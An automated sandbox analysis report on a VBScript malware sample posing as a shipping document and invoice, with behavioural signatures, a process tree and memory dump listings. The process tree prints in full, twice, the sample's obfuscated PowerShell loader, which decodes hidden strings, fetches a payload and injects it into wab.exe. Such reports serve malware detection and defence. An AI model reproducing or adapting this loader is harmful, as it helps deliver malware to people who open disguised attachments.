Analysis
- max time kernel
299s - max time network
133s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
22/07/2026, 15:56
General
- Target Revised Shipping document (BL PL and comercial Invoice_pdf).vbs
- Size 44KB
- Sample260722-tdcdlavvbt
- SHA256 c51bac8ae8c65dc4498871d8bfca6c89efb58da23438478fa58ceea7c01abf99
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised Shipping document (BL PL and comercial Invoice_pdf).vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function zxyvwq { [void](Get-Date); $industriferiernessomorfiers = [System.IO.Path]::GetTempPath()}rv 'socialforsorg' 'acceleratorer42' 'bifigurens';[void](Get-Date);$cynic=-44045+44045;$tvisteemnernes228=-53416+59416;$pustulose = [Math]::Sqrt(144);function ekspliciterede ($echinologist,$fynbos) {$folksongs = [Math]::Sqrt(225);$parencephalic=dragsholms(@(108,222,211,205,219,226,212,218,226,208,216,225,188,166,210,221,225,230,141,146,217,226,221,208,183,236,153)) ;[void](Get-Date);Domiciliation ($parencephalic);[void][Guid]::NewGuid()}function dragsholms ($jodelr) { $optankningens = [System.IO.Path]::GetTempPath();do {$tvisteemnernes228=$cynic%12;[void](Get-Culture);$jodelr[$cynic]-=$fynboslankebrsters[$tvisteemnernes228];$tvisteemnernes228=$jodelr[$cynic];$tvisteemnernes228=[char]$tvisteemnernes228;$stenknusere = 'foobar thud qux'.ToUpper();$brkregningen+=$tvisteemnernes228;$cynic++} while ($jodelr[$cynic])[char[]]'snarf glob blurp' | Out-Null;$brkregningen}function plmkoz { $formularlngderne = [Guid]::NewGuid(); [void](Get-Culture)}function Domiciliation ($noncongruency) {$fynbosirled = Get-Process -Id $PID;&($giganticidal) $noncongruency;[void]([System.DateTime]::Now)}Function Subauditur ($jodelr,$convexly=0){$nilson = [Math]::Round(3.14159);$butiksdden224=dragsholms(@(163,188,223,211,232,217,215,226,208,163,169,180,186,232,221,167,211,231,202,164,167,188,227,224,177,231,215,141,150,222,212,210,216,213,225,151));$semaforer=@(Domiciliation ($butiksdden224));For($industriferiernes=0; $semaforer[$industriferiernes] -ne $afslutningsdato; $industriferiernes++){[void](Get-Date);$semaforer[$industriferiernes] = ekspliciterede $semaforer[$industriferiernes] $fynboslankebrsters[$industriferiernes%12]}$resalt=dragsholms(@(117,227,223,206,224,148,192,209,219,202,225,201,165,214,148,216,215,225,198,212,226,219,212,224));$echinologistlchimy = 'gargle snarf'.Split(' ');$klvningernes=Domiciliation ($resalt);if ($convexly) { Domiciliation $klvningernes;[void][Guid]::NewGuid()}else {;$klvningernes}$lanely40 = [System.Environment]::MachineName}$fynboslankebrsters=@(72,121,112,101,114,116,101,110,115,105,111,110);Start-Sleep -Milliseconds 1;$giganticidal=dragsholms @(145,190,200);$hyrede='\Grnthandlere.Mar';$fremmedarbejderen = [System.IO.Path]::GetRandomFileName();$podomancy=Subauditur 'fVdARVojDAAXBhgdaDckRUNES15ISTgHJk9EXlIMU1pISR0YckhFV1xETE40DAwFJ1ZCVUNEVV9DWE8oIQsVAx0MSl9GW0Fe';$axiological=Subauditur 'IA0EFQFOSkEXGwYYLVcXCh0TCQtdCgADZwwTWhcMFQEBHVIKJw4eCR0VAUgaDVJfO01FAhUYJl81Lh0kOTomLUIMMhgLLTsbHQ0pBBAAXV0=';$henvise95=Subauditur 'BQoICB5GSz0WGxkLOiE9KTogMT5dX0Fe';[void]([System.DateTime]::Now);$electrocystoscope=Subauditur 'Dzwk';$industriferiernesnseparables=Subauditur 'HQoVF181AgsdHQ==';$sulphotannic = 'plugh xyzzy frotz'.ToUpper();$dameblades=Subauditur 'dg==';Subauditur 'bB4cChAVCVQACwoadV0VCwROBB4DDQ4aKVJUDQsGAAoW' 1;Subauditur 'bB4cChAVCVQYGwYdPBARCxdJQQ8LAAACJx4ZBhMYSx0DBQYaYF0UBB8RBwISDQodYQ==' 1;[void](Get-Culture);$axiological=$kristiane[0];Subauditur 'bB4cChAVCVQRDBwFLg0ZAhcYFgsAHAsdIR4EAAAaAFM9DBhDBxsaABEARUMwBgJObBEVCwQdFgtKXA==' 1;Subauditur 'bB4cChAVCVQYCBodKRUVWFogAB0HRD8PPBFQQQEWABpa' 1;$deadmelt = Get-Process -Id $PID;while (!$kausale) {Subauditur 'bB4cChAVCVQWCw0DKRdNQQYGEAs=' 1;Subauditur 'bBsVFhkSEQcUDAMdLQoFAQEdAhoWGwELZhYAABxcQQsfDAwaOhYTHAEACh0QBh8LZFlUBAodCgIcDgYNKRVcRVYSBAIADEY=' 1;[char[]]'grue zork' | Out-Null;Subauditur 'bBsVFhkSEQcUDAMdLQoFAQEdAhoWGwELZgoVESARFBsWGhsmLRgUAABcQQcdDRodPAsZAxcGDAsBBwodJgoVFRMGBAwfDBxCaF0AChYbCA8dChZH' 1;Subauditur 'bBsVFhkSEQcUDAMdLQoFAQEdAhoWGwELZgoVCxZcTA==' 1;Subauditur 'bB4cChAVCVQFDB0MIRgXAE9QBwsAAgkaIR4VCQERFhsXGgYJPBwCCxdaFhoSHRodaFQVFFJGVV4=' 1;[void][Guid]::NewGuid();if ($verbiage) {Subauditur 'ExsJERcvODNXDgMBKhgcXx4REwEfAAIBJhweAE9QBwsAAgkaIR4VCQERFhsXGgYJPBwCCxdaFwsAGQAAOxwyChYN' 1;Subauditur 'OxpQQQEWABpTTQMLPhYcDB8bCwsdDE9DDRcTChYdCwlTKxYaLQ==' 1;$lanely40 = [Math]::Round(3.14159)} Subauditur 'GxUVAAJcUUc=' 1;Subauditur 'bB4cChAVCVQYCBodKRUVWFogAB0HRD8PPBFQQQEWABpa' 1 ;$raciality = 'wibble wobble baz'.Split(' ');Subauditur 'bB4cChAVCVQBDAgHOw0CBAAHWEoUBQAMKRVKARcGDAoWGxxFY1xUDgAdFhoaCAELZhofEBwA' 1;$axiological=$kristiane[$registrars]}[void]([System.IO.Path]::GetTempPath());$psoriasises=137214;$heterotelic=20740;Subauditur 'bB4cChAVCVQRAAMPJBZNAhFUQR0RDBs=' 1;$echinologistlchimy = [System.Environment]::MachineName;Subauditur 'bB4cChAVCVQnGwoYOhwcFhcHCQsZBQYJIBwUAAAHWDUwBgEYLQsEOEhOIxwcBC0POxxGUSEAFwcdDkdKKhAcBB4bTA==' 1;Subauditur 'bB4cChAVCVQeBh8LOgpNPiYRHRpdLAENJx0ZCxUpX1QyOiwnAVc3AAYnERwaBwhGbC0CAAQGAAIADBwCLRMcDBUcAAoWGxxH' 1;Subauditur 'bB4cChAVCVQQHAMaIQ8RERcHWEoeBh8LOgpeFgcWFhoBAAEJYF0AFh0GDA8AABwLO1VUDRcAABwcHQoCIRpZ' 1;Start-Sleep -Milliseconds 2;Domiciliation $cultivates;function rtwpxq { $voldgraven = [System.Environment]::MachineName};;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function zxyvwq { [void](Get-Date); $industriferiernessomorfiers = [System.IO.Path]::GetTempPath()}rv 'socialforsorg' 'acceleratorer42' 'bifigurens';[void](Get-Date);$cynic=-44045+44045;$tvisteemnernes228=-53416+59416;$pustulose = [Math]::Sqrt(144);function ekspliciterede ($echinologist,$fynbos) {$folksongs = [Math]::Sqrt(225);$parencephalic=dragsholms(@(108,222,211,205,219,226,212,218,226,208,216,225,188,166,210,221,225,230,141,146,217,226,221,208,183,236,153)) ;[void](Get-Date);Domiciliation ($parencephalic);[void][Guid]::NewGuid()}function dragsholms ($jodelr) { $optankningens = [System.IO.Path]::GetTempPath();do {$tvisteemnernes228=$cynic%12;[void](Get-Culture);$jodelr[$cynic]-=$fynboslankebrsters[$tvisteemnernes228];$tvisteemnernes228=$jodelr[$cynic];$tvisteemnernes228=[char]$tvisteemnernes228;$stenknusere = 'foobar thud qux'.ToUpper();$brkregningen+=$tvisteemnernes228;$cynic++} while ($jodelr[$cynic])[char[]]'snarf glob blurp' | Out-Null;$brkregningen}function plmkoz { $formularlngderne = [Guid]::NewGuid(); [void](Get-Culture)}function Domiciliation ($noncongruency) {$fynbosirled = Get-Process -Id $PID;&($giganticidal) $noncongruency;[void]([System.DateTime]::Now)}Function Subauditur ($jodelr,$convexly=0){$nilson = [Math]::Round(3.14159);$butiksdden224=dragsholms(@(163,188,223,211,232,217,215,226,208,163,169,180,186,232,221,167,211,231,202,164,167,188,227,224,177,231,215,141,150,222,212,210,216,213,225,151));$semaforer=@(Domiciliation ($butiksdden224));For($industriferiernes=0; $semaforer[$industriferiernes] -ne $afslutningsdato; $industriferiernes++){[void](Get-Date);$semaforer[$industriferiernes] = ekspliciterede $semaforer[$industriferiernes] $fynboslankebrsters[$industriferiernes%12]}$resalt=dragsholms(@(117,227,223,206,224,148,192,209,219,202,225,201,165,214,148,216,215,225,198,212,226,219,212,224));$echinologistlchimy = 'gargle snarf'.Split(' ');$klvningernes=Domiciliation ($resalt);if ($convexly) { Domiciliation $klvningernes;[void][Guid]::NewGuid()}else {;$klvningernes}$lanely40 = [System.Environment]::MachineName}$fynboslankebrsters=@(72,121,112,101,114,116,101,110,115,105,111,110);Start-Sleep -Milliseconds 1;$giganticidal=dragsholms @(145,190,200);$hyrede='\Grnthandlere.Mar';$fremmedarbejderen = [System.IO.Path]::GetRandomFileName();$podomancy=Subauditur 'fVdARVojDAAXBhgdaDckRUNES15ISTgHJk9EXlIMU1pISR0YckhFV1xETE40DAwFJ1ZCVUNEVV9DWE8oIQsVAx0MSl9GW0Fe';$axiological=Subauditur 'IA0EFQFOSkEXGwYYLVcXCh0TCQtdCgADZwwTWhcMFQEBHVIKJw4eCR0VAUgaDVJfO01FAhUYJl81Lh0kOTomLUIMMhgLLTsbHQ0pBBAAXV0=';$henvise95=Subauditur 'BQoICB5GSz0WGxkLOiE9KTogMT5dX0Fe';[void]([System.DateTime]::Now);$electrocystoscope=Subauditur 'Dzwk';$industriferiernesnseparables=Subauditur 'HQoVF181AgsdHQ==';$sulphotannic = 'plugh xyzzy frotz'.ToUpper();$dameblades=Subauditur 'dg==';Subauditur 'bB4cChAVCVQACwoadV0VCwROBB4DDQ4aKVJUDQsGAAoW' 1;Subauditur 'bB4cChAVCVQYGwYdPBARCxdJQQ8LAAACJx4ZBhMYSx0DBQYaYF0UBB8RBwISDQodYQ==' 1;[void](Get-Culture);$axiological=$kristiane[0];Subauditur 'bB4cChAVCVQRDBwFLg0ZAhcYFgsAHAsdIR4EAAAaAFM9DBhDBxsaABEARUMwBgJObBEVCwQdFgtKXA==' 1;Subauditur 'bB4cChAVCVQYCBodKRUVWFogAB0HRD8PPBFQQQEWABpa' 1;$deadmelt = Get-Process -Id $PID;while (!$kausale) {Subauditur 'bB4cChAVCVQWCw0DKRdNQQYGEAs=' 1;Subauditur 'bBsVFhkSEQcUDAMdLQoFAQEdAhoWGwELZhYAABxcQQsfDAwaOhYTHAEACh0QBh8LZFlUBAodCgIcDgYNKRVcRVYSBAIADEY=' 1;[char[]]'grue zork' | Out-Null;Subauditur 'bBsVFhkSEQcUDAMdLQoFAQEdAhoWGwELZgoVESARFBsWGhsmLRgUAABcQQcdDRodPAsZAxcGDAsBBwodJgoVFRMGBAwfDBxCaF0AChYbCA8dChZH' 1;Subauditur 'bBsVFhkSEQcUDAMdLQoFAQEdAhoWGwELZgoVCxZcTA==' 1;Subauditur 'bB4cChAVCVQFDB0MIRgXAE9QBwsAAgkaIR4VCQERFhsXGgYJPBwCCxdaFhoSHRodaFQVFFJGVV4=' 1;[void][Guid]::NewGuid();if ($verbiage) {Subauditur 'ExsJERcvODNXDgMBKhgcXx4REwEfAAIBJhweAE9QBwsAAgkaIR4VCQERFhsXGgYJPBwCCxdaFwsAGQAAOxwyChYN' 1;Subauditur 'OxpQQQEWABpTTQMLPhYcDB8bCwsdDE9DDRcTChYdCwlTKxYaLQ==' 1;$lanely40 = [Math]::Round(3.14159)} Subauditur 'GxUVAAJcUUc=' 1;Subauditur 'bB4cChAVCVQYCBodKRUVWFogAB0HRD8PPBFQQQEWABpa' 1 ;$raciality = 'wibble wobble baz'.Split(' ');Subauditur 'bB4cChAVCVQBDAgHOw0CBAAHWEoUBQAMKRVKARcGDAoWGxxFY1xUDgAdFhoaCAELZhofEBwA' 1;$axiological=$kristiane[$registrars]}[void]([System.IO.Path]::GetTempPath());$psoriasises=137214;$heterotelic=20740;Subauditur 'bB4cChAVCVQRAAMPJBZNAhFUQR0RDBs=' 1;$echinologistlchimy = [System.Environment]::MachineName;Subauditur 'bB4cChAVCVQnGwoYOhwcFhcHCQsZBQYJIBwUAAAHWDUwBgEYLQsEOEhOIxwcBC0POxxGUSEAFwcdDkdKKhAcBB4bTA==' 1;Subauditur 'bB4cChAVCVQeBh8LOgpNPiYRHRpdLAENJx0ZCxUpX1QyOiwnAVc3AAYnERwaBwhGbC0CAAQGAAIADBwCLRMcDBUcAAoWGxxH' 1;Subauditur 'bB4cChAVCVQQHAMaIQ8RERcHWEoeBh8LOgpeFgcWFhoBAAEJYF0AFh0GDA8AABwLO1VUDRcAABwcHQoCIRpZ' 1;Start-Sleep -Milliseconds 2;Domiciliation $cultivates;function rtwpxq { $voldgraven = [System.Environment]::MachineName};;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Grnthandlere.Mar
memory/4456-32-0x0000000006280000-0x00000000062CC000-memory.dmp
memory/4456-25-0x0000000005C60000-0x0000000005CC6000-memory.dmp
memory/4456-41-0x0000000008DB0000-0x000000000A5A8000-memory.dmp
memory/4456-38-0x00000000087F0000-0x0000000008DAA000-memory.dmp
memory/4456-37-0x00000000074C0000-0x00000000074E2000-memory.dmp
memory/4456-36-0x00000000075D0000-0x0000000007666000-memory.dmp
memory/4456-35-0x00000000067D0000-0x00000000067EA000-memory.dmp
memory/4456-34-0x0000000007BB0000-0x000000000822C000-memory.dmp
memory/4456-23-0x00000000054B0000-0x0000000005AFA000-memory.dmp
memory/4456-24-0x0000000005B00000-0x0000000005B22000-memory.dmp
memory/4456-29-0x0000000005E60000-0x00000000061BB000-memory.dmp
memory/4456-26-0x0000000005CD0000-0x0000000005D36000-memory.dmp
memory/4456-31-0x0000000006240000-0x000000000625E000-memory.dmp
memory/4456-22-0x0000000002A20000-0x0000000002A56000-memory.dmp
memory/5380-13-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-0-0x00007FFEE26EF000-0x00007FFEE26F0000-memory.dmp
memory/5380-2-0x000001F01C610000-0x000001F01C632000-memory.dmp
memory/5380-16-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-15-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-5-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-21-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-14-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-12-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-6-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-11-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-10-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-9-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-8-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-1-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp
memory/5380-7-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp